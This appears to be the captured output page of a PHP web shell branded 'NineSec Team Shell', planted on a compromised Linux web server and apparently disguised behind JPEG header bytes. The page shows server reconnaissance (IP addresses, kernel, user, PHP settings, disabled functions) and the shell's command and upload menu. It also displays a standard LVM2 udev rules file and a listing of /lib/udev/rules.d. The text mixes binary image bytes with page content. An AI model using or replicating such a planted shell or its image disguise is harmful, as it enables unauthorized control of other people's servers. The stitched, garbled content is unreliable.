�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /lib/udev/rules.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //lib/udev/rules.d/69-lvm-metad.rules
# Copyright (C) 2012 Red Hat, Inc. All rights reserved.
#
# This file is part of LVM2.

# Udev rules for LVM.
#
# Scan all block devices having a PV label for LVM metadata.
# Store this information in LVMetaD (the LVM metadata daemon) and maintain LVM
# metadata state for improved performance by avoiding further scans while
# running subsequent LVM commands or while using lvm2app library.
# Also, notify LVMetaD about any relevant block device removal.
#
# This rule is essential for having the information in LVMetaD up-to-date.
# It also requires blkid to be called on block devices before so only devices
# used as LVM PVs are processed (ID_FS_TYPE="LVM2_member" or "LVM1_member").

SUBSYSTEM!="block", GOTO="lvm_end"


ENV{DM_UDEV_DISABLE_OTHER_RULES_FLAG}=="1", GOTO="lvm_end"

# XXX: Properly call blkid on md devices. Workaround for #793631
KERNEL!="md[0-9]*", GOTO="next"
IMPORT{builtin}="blkid"
LABEL="next"

# If the PV label got lost, inform lvmetad immediately.
# Detect the lost PV label by comparing previous ID_FS_TYPE value with current one.
ENV{.ID_FS_TYPE_NEW}="$env{ID_FS_TYPE}"
IMPORT{db}="ID_FS_TYPE"
ENV{ID_FS_TYPE}=="LVM2_member|LVM1_member", ENV{.ID_FS_TYPE_NEW}!="LVM2_member|LVM1_member", ENV{LVM_PV_GONE}="1"
ENV{ID_FS_TYPE}="$env{.ID_FS_TYPE_NEW}"
ENV{LVM_PV_GONE}=="1", GOTO="lvm_scan"

# Only process devices already marked as a PV - this requires blkid to be called before.
ENV{ID_FS_TYPE}!="LVM2_member|LVM1_member", GOTO="lvm_end"
ENV{DM_MULTIPATH_DEVICE_PATH}=="1", GOTO="lvm_end"

# Inform lvmetad about any PV that is gone.
ACTION=="remove", GOTO="lvm_scan"

# Create /dev/disk/by-id/lvm-pv-uuid-<PV_UUID> symlink for each PV
ENV{ID_FS_UUID_ENC}=="?*", SYMLINK+="disk/by-id/lvm-pv-uuid-$env{ID_FS_UUID_ENC}"

# If the PV is a special device listed below, scan only if the device is
# properly activated. These devices are not usable after an ADD event,
# but they require an extra setup and they are ready after a CHANGE event.
# Also support coldplugging with ADD event but only if the device is already
# properly activated.
# This logic should be eventually moved to rules where those particular
# devices are processed primarily (MD and loop).

# DM device:
KERNEL!="dm-[0-9]*", GOTO="next"
ENV{DM_UDEV_PRIMARY_SOURCE_FLAG}=="1", ENV{DM_ACTIVATION}=="1", GOTO="lvm_scan"
GOTO="lvm_end"

# MD device:
LABEL="next"
KERNEL!="md[0-9]*", GOTO="next"
IMPORT{db}="LVM_MD_PV_ACTIVATED"
ACTION=="add", ENV{LVM_MD_PV_ACTIVATED}=="1", GOTO="lvm_scan"
ACTION=="change", ENV{LVM_MD_PV_ACTIVATED}!="1", ENV{LVM_MD_PV_ACTIVATED}="1", GOTO="lvm_scan"
ACTION=="add", KERNEL=="md[0-9]*p[0-9]*", GOTO="lvm_scan"
ENV{LVM_MD_PV_ACTIVATED}!="1", ENV{SYSTEMD_READY}="0"
GOTO="lvm_end"

# Loop device:
LABEL="next"
KERNEL!="loop[0-9]*", GOTO="next"
ACTION=="add", ENV{LVM_LOOP_PV_ACTIVATED}=="1", GOTO="lvm_scan"
ACTION=="change", ENV{LVM_LOOP_PV_ACTIVATED}!="1", ENV{LVM_LOOP_PV_ACTIVATED}="1", GOTO="lvm_scan"
ENV{LVM_LOOP_PV_ACTIVATED}!="1", ENV{SYSTEMD_READY}="0"
GOTO="lvm_end"

# If the PV is not a special device listed above, scan only if necessary.
# For "direct_pvscan" mode (see below), this means run rules only an ADD events.
# For "systemd_background" mode, systemd takes care of this by activating
# the lvm2-pvscan@.service only once.
LABEL="next"
TEST!="/run/systemd/system", ACTION!="add", GOTO="lvm_end"
TEST=="/run/systemd/system", ACTION!="add|change", GOTO="lvm_end"

LABEL="lvm_scan"

ENV{SYSTEMD_READY}="1"

# The method for invoking pvscan is selected at build time with the option
# --(enable|disable)-udev-systemd-background-jobs to "configure".
# On modern distributions with recent systemd, it's "systemd_background";
# on others, "direct_pvscan".
TEST!="/run/systemd/system", GOTO="direct_pvscan"
TEST=="/run/systemd/system", GOTO="systemd_background"

LABEL="systemd_background"

# The table below summarises the situations in which we reach the LABEL="lvm_scan"
# in the "systemd_background" case.
# Marked by X, X* means only if the special dev is properly set up.
# The artificial ADD is supported for coldplugging. We avoid running the pvscan
# on artificial CHANGE so there's no unexpected autoactivation when WATCH rule fires.
# N.B. MD and loop never actually  reaches lvm_scan on REMOVE as the PV label is gone
# within a CHANGE event (these are caught by the "LVM_PV_GONE" rule at the beginning).
#
# In this case, we simply set up the dependency between the device and the pvscan
# job using SYSTEMD_ALIAS (which sets up a simplified device identifier that
# allows using "BindsTo" in the sytemd unit file) and SYSTEMD_WANTS (which tells
# systemd to start the pvscan job once the device is ready).
# We need to set these variables for both "add" and "change" events, otherwise
# systemd may loose information about the device/unit dependencies.
#
#        | real ADD | real CHANGE | artificial ADD | artificial CHANGE | REMOVE
# =============================================================================
#  DM    |          |      X      |       X*       |                   |   X
#  MD    |          |      X      |       X*       |                   |
#  loop  |          |      X      |       X*       |                   |
#  other |    X     |      X      |       X        |                   |   X
ACTION!="remove", ENV{LVM_PV_GONE}=="1", RUN+="/usr/bin/systemd-run /sbin/lvm pvscan --cache $major:$minor", GOTO="lvm_end"
ENV{SYSTEMD_ALIAS}="/dev/block/$major:$minor"
ENV{SYSTEMD_WANTS}+="lvm2-pvscan@$major:$minor.service"
GOTO="lvm_end"

LABEL="direct_pvscan"

# The table below summarises the situations in which we reach the LABEL="lvm_scan"
# for the "direct_pvscan" case.
# Marked by X, X* means only if the special dev is properly set up.
# The artificial ADD is supported for coldplugging. We avoid running the pvscan
# on artificial CHANGE so there's no unexpected autoactivation when WATCH rule fires.
#
# In this case, we need to make sure that pvscan is not invoked spuriously, therefore
# we invoke it only for "add" events for "other" devices.
#
#        | real ADD | real CHANGE | artificial ADD | artificial CHANGE | REMOVE
# =============================================================================
#  DM    |          |      X      |       X*       |                   |   X
#  MD    |          |      X      |       X*       |                   |
#  loop  |          |      X      |       X*       |                   |
#  other |    X     |             |       X        |                   |   X
RUN+="/sbin/lvm pvscan --cache --activate ay --major $major --minor $minor", ENV{LVM_SCANNED}="1"

LABEL="lvm_end"

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
February 12 2024 9:11:01
root
0755
40-vm-hotadd.rules
0.64 KB
November 21 2023 10:10:21
root
0644
50-firmware.rules
0.205 KB
September 26 2023 3:17:38
root
0644
50-udev-default.rules
3.839 KB
November 21 2023 10:10:21
root
0644
55-dm.rules
7.104 KB
February 13 2020 10:21:51
root
0644
56-lvm.rules
2.363 KB
February 13 2020 10:21:51
root
0644
60-autosuspend-chromiumos.rules
8.394 KB
November 21 2023 10:10:21
root
0644
60-block.rules
0.687 KB
April 01 2020 7:23:42
root
0644
60-cdrom_id.rules
1.046 KB
April 01 2020 7:23:42
root
0644
60-drm.rules
0.403 KB
April 01 2020 7:23:42
root
0644
60-evdev.rules
0.967 KB
April 01 2020 7:23:42
root
0644
60-fido-id.rules
0.385 KB
April 01 2020 7:23:42
root
0644
60-input-id.rules
0.275 KB
April 01 2020 7:23:42
root
0644
60-persistent-alsa.rules
0.602 KB
April 01 2020 7:23:42
root
0644
60-persistent-input.rules
2.646 KB
April 01 2020 7:23:42
root
0644
60-persistent-storage-dm.rules
1.752 KB
February 13 2020 10:21:51
root
0644
60-persistent-storage-tape.rules
2.085 KB
April 01 2020 7:23:42
root
0644
60-persistent-storage.rules
7.6 KB
November 21 2023 10:10:21
root
0644
60-persistent-v4l.rules
0.751 KB
April 01 2020 7:23:42
root
0644
60-sensor.rules
0.719 KB
April 01 2020 7:23:42
root
0644
60-serial.rules
1.162 KB
April 01 2020 7:23:42
root
0644
61-autosuspend-manual.rules
0.552 KB
April 01 2020 7:23:42
root
0644
61-persistent-storage-android.rules
0.445 KB
November 21 2023 10:10:21
root
0644
64-btrfs.rules
0.598 KB
November 21 2023 10:10:21
root
0644
69-lvm-metad.rules
6.45 KB
February 13 2020 10:21:51
root
0644
70-joystick.rules
0.422 KB
April 01 2020 7:23:42
root
0644
70-mouse.rules
0.717 KB
April 01 2020 7:23:42
root
0644
70-power-switch.rules
0.555 KB
April 01 2020 7:23:42
root
0644
70-touchpad.rules
0.462 KB
April 01 2020 7:23:42
root
0644
70-uaccess.rules
2.734 KB
November 21 2023 10:10:21
root
0644
71-power-switch-proliant.rules
0.45 KB
November 21 2023 10:10:21
root
0644
71-seat.rules
3.693 KB
November 21 2023 10:10:21
root
0644
73-seat-late.rules
0.621 KB
November 21 2023 10:10:21
root
0644
73-special-net-names.rules
0.946 KB
September 26 2023 3:17:38
root
0644
75-net-description.rules
0.441 KB
April 01 2020 7:23:42
root
0644
75-probe_mtd.rules
0.17 KB
April 01 2020 7:23:42
root
0644
78-graphics-card.rules
0.942 KB
November 21 2023 10:10:21
root
0644
78-sound-card.rules
4.703 KB
April 01 2020 7:23:42
root
0644
80-debian-compat.rules
1.343 KB
November 21 2023 10:05:52
root
0644
80-drivers.rules
0.601 KB
April 01 2020 7:23:42
root
0644
80-net-setup-link.rules
0.288 KB
November 21 2023 10:10:21
root
0644
81-net-dhcp.rules
0.516 KB
November 21 2023 10:10:21
root
0644
85-hdparm.rules
0.08 KB
August 21 2019 2:36:14
root
0644
90-console-setup.rules
0.259 KB
November 27 2019 3:34:42
root
0644
95-dm-notify.rules
0.468 KB
February 13 2020 10:21:51
root
0644
96-e2scrub.rules
0.167 KB
June 02 2022 2:59:32
root
0644
99-systemd.rules
4.603 KB
November 21 2023 10:10:21
root
0644

NineSec Team - 2022